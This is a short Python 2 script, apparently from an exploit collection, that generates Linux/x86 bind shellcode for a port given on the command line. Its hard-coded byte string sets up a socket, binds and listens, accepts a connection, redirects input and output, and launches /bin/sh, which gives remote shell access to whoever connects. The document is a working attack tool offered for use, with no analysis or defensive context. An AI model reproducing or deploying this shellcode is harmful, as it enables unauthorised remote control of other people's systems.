Linux/x86 Bind Shellcode Generator

shellcode_gen.py

# Python Shellcode Generator
# Paste the shell code and use command line args to provide port number
# python shellcode_gen.py 7777

#!/bin/python

import sys, struct
if (len(sys.argv) < 2):
    print "[#] Error: Please provide port number"
else:
    port = int(sys.argv[1])
    print "[#] Generating bind shellcode (listening port " + str(port) + ")..."
    port = "\\x"+struct.pack('<L',port).encode('hex')[2:4]+"\\x"+struct.pack('<L',port).encode('hex')[:2]
    shellcode = "\\x31\\xc0\\x50\\x40\\x50\\x89\\xc3\\x40\\x50\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x89\\xc6\\x31\\xdb\\x53\\x66\\x68" + port + "\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x50\\x89\\xe1\\xb3\\x02\\xb0\\x66\\xcd\\x80\\x31\\xdb\\x53\\x56\\x89\\xe1\\xb3\\x04\\xb0\\x66\\xcd\\x80\\x31\\xdb\\x53\\x53\\x56\\x89\\xe1\\xb3\\x05\\xb0\\x66\\xcd\\x80\\x89\\xd9\\x83\\xe9\\x03\\x89\\xc3\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc9\\x89\\xca\\x51\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\xb0\\x0b\\xcd\\x80"

    print shellcode